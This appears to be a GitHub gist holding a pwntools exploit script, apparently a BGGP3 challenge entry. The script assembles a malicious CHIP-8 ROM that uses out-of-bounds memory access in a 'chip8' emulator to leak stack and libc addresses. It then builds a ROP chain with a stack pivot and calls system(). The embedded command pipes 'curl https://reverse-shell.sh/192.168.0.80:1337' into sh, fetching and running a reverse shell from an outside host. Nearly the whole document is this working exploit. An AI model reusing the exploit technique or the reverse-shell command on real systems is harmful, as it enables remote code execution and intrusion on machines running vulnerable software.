-
-
Save DavidBuchanan314/511eeaebcd88a6fc9a0757bf648d6716 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
elf = ELF("./chip8") | |
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") | |
rop = ROP(elf) | |
PRINT_EXECUTING_OPCODE_R12_GADGET = 0x4028f0 | |
PRINTF_CHK_EXIT_GADGET = 0x4012fa | |
PRINTLN_RAX_GADGET = 0x4015b0 | |
STACK_PIVOT_GADGET = rop.search(move=0x48).address # add rsp, 0x48; ret | |
log.info(f"stack pivot @ {hex(STACK_PIVOT_GADGET)}") | |
libc_leak_offset = libc.sym["__libc_start_main"]+243 # NOTE: this may depend on your libc version | |
libc_system_offset = libc.sym["system"] | |
log.info(f"libc_leak_offset @ {hex(libc_leak_offset)}") | |
log.info(f"libc_system_offset @ {hex(libc_system_offset)}") | |
libc_system_delta = libc_system_offset - libc_leak_offset | |
assert(libc_system_delta > 0) | |
log.info(f"libc_system_delta: {hex(libc_system_delta)}") | |
def flatten(thing): | |
if isinstance(thing, list): | |
return sum(map(flatten, thing), start=[]) | |
return [thing] | |
def set_reg(reg, value): | |
return 0x6000 | (reg << 8) | value | |
def set_i(value): | |
return 0xA000 | value | |
def add_i(reg): | |
return 0xF01E | (reg << 8) | |
def add_reg_byte(reg, byte): | |
return 0x7000 | (reg << 8) | byte | |
def add_reg_reg(reg1, reg2): | |
return 0x8004 | (reg1 << 8) | (reg2 << 4) | |
def mov(reg1, reg2): | |
return 0x8000 | (reg1 << 8) | (reg2 << 4) | |
def jump(addr): | |
return lambda symbols: 0x1000 | symbols.get(addr, addr) | |
def call(addr): | |
return lambda symbols: 0x2000 | symbols.get(addr, addr) | |
def store_regs_at_i(lastreg): | |
return 0xF055 | (lastreg << 8) | |
def load_regs_from_i(lastreg): | |
return 0xF065 | (lastreg << 8) | |
def ret(): | |
return 0x00EE | |
def skip_if_reg_equals_byte(reg, byte): | |
return 0x3000 | (reg << 8) | byte | |
# helper for calling our function | |
def set_i_oob(offset): return [ | |
set_reg(0xd, (offset) % 0xff), | |
set_reg(0xe, (offset) // 0xff), | |
call("set_i_oob"), | |
] | |
def db(data): | |
if len(data) % 2: | |
data += b"\0" | |
return [int.from_bytes(data[i:i+2], "big") for i in range(0, len(data), 2)] | |
def set64(value): return [ | |
set_reg(i, (value >> (8 * i)) & 0xff) | |
for i in range(8) | |
] | |
def add64(value): return [ # clobbers reg 8 | |
[ | |
set_reg(8, (value >> (8 * i)) & 0xff), | |
add_reg_reg(i, 8), | |
call(f"ripple_carry_{i + 1}") if i < 7 else [], | |
] | |
for i in range(8) | |
] | |
program = [ | |
jump("start"), | |
"cmd", | |
db(b"figlet Hello, BGGP3!; echo; echo Spawning reverse shell...; curl https://reverse-shell.sh/192.168.0.80:1337 | sh\0"), | |
"start", | |
set64(rop.rdi.address), # pop rdi gadget | |
set_i(0x20 + 8 * 0), # store at ropchain index 0 | |
store_regs_at_i(7), | |
set_i_oob(0x3090), | |
load_regs_from_i(7), # read stack leak | |
add64(-(0x3190 - 0x202)), # calculate offset of cmd | |
set_i(0x20 + 8 * 1), # store at ropchain index 1 | |
store_regs_at_i(7), | |
set_i_oob(0x30a8), | |
load_regs_from_i(7), # read libc leak | |
add64(libc_system_delta), # calculate offset of sytstem() | |
set_i(0x20 + 8 * 2), # store at ropchain index 2 | |
store_regs_at_i(7), | |
set_i_oob(0x3048), | |
set64(STACK_PIVOT_GADGET), | |
store_regs_at_i(7), | |
set_reg(0, 0xff), | |
0xF018, # set sound timer to V0 (just needs to be something nonzero) | |
# routine that sets I to ((0xff * Ve) + Vd) | |
"set_i_oob", | |
set_i(0), | |
set_reg(0xc, 0xff), # multipurpose constant, used as 0xff, and later, -1 | |
"add_i_loop", | |
add_i(0xc), # I += 0xff | |
add_reg_reg(0xe, 0xc), # Ve -= 1 | |
skip_if_reg_equals_byte(0xe, 0x00), | |
jump("add_i_loop"), | |
add_i(0xd), | |
ret(), | |
# ripple carry thing | |
[ | |
[ | |
f"ripple_carry_{i}", | |
mov(0xe, 0xf), | |
add_reg_reg(i, 0xe), | |
] | |
for i in range(1, 8) | |
], | |
ret(), | |
] | |
# "assemble" the ROM | |
symbols = {} | |
flat_program = [] | |
for thing in flatten(program): | |
if type(thing) is str: | |
symbols[thing] = 0x200 + len(flat_program) * 2 | |
else: | |
flat_program.append(thing) | |
rom = b"".join([(x if type(x) is int else x(symbols)).to_bytes(2, "big") for x in flat_program]) | |
log.info(f"Assembled ROM size: {len(rom)}") | |
open("exploit.rom", "wb").write(rom) | |
# start up the emulator | |
p = process(["./chip8", "exploit.rom"])#, env={"DISPLAY": ":0"}) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment